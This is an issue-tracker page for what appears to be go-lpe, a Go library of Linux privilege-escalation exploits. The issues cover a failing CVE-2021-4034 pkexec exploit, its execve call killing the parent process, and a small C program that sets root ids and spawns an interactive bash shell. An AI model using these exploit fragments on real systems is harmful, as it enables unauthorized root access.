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go-lpe's Issues

tried running it, prints pkexec cmdline args and exits.

package app

import (
	golpe "github.com/jm33-m0/go-lpe"
	"github.com/urfave/cli/v2"
)

var testCmd = &cli.Command{
	Name:   "test",
	Hidden: true,

	Action: func(c *cli.Context) error {
		return golpe.RunAll()
	},
}
2023/07/03 18:19:46 Trying CVE-2021-4034...
pkexec --version |
       --help |
       --disable-internal-agent |
       [--user username] PROGRAM [ARGUMENTS...]

See the pkexec manual page for more details.

will get the source and troubleshoot, just FYI that it doesn't work out of the box.

CVE-2021-4034: pkexec exploit causes calling process to exit when exploit fails

go-lpe/CVE-2021-4034.go

Lines 99 to 104 in 2d593ea

_, _, err = syscall.RawSyscall(syscall.SYS_EXECVE,
uintptr(unsafe.Pointer(argv0p)),
uintptr(unsafe.Pointer(&argv)),
uintptr(unsafe.Pointer(&envvp[0])))
return fmt.Errorf("execve: %v", err)

As it executes execve syscall, current process will get replace by pkexec no matter it will successfully execute payload.so or not. Therefore when this exploit fails to call payload.so, calling process emp3r0r will die.

SetEUID not available in Go

Currently this demo won't work, please rewrite it in C in order to seteuid.

#include <stdlib.h>
#include <unistd.h>

int main(int argc, char *argv[]) {
  setuid(0);
  seteuid(0);
  setgid(0);
  setegid(0);
  system("/bin/bash -i");
  return 0;
}

err := unix.Setuid(0)

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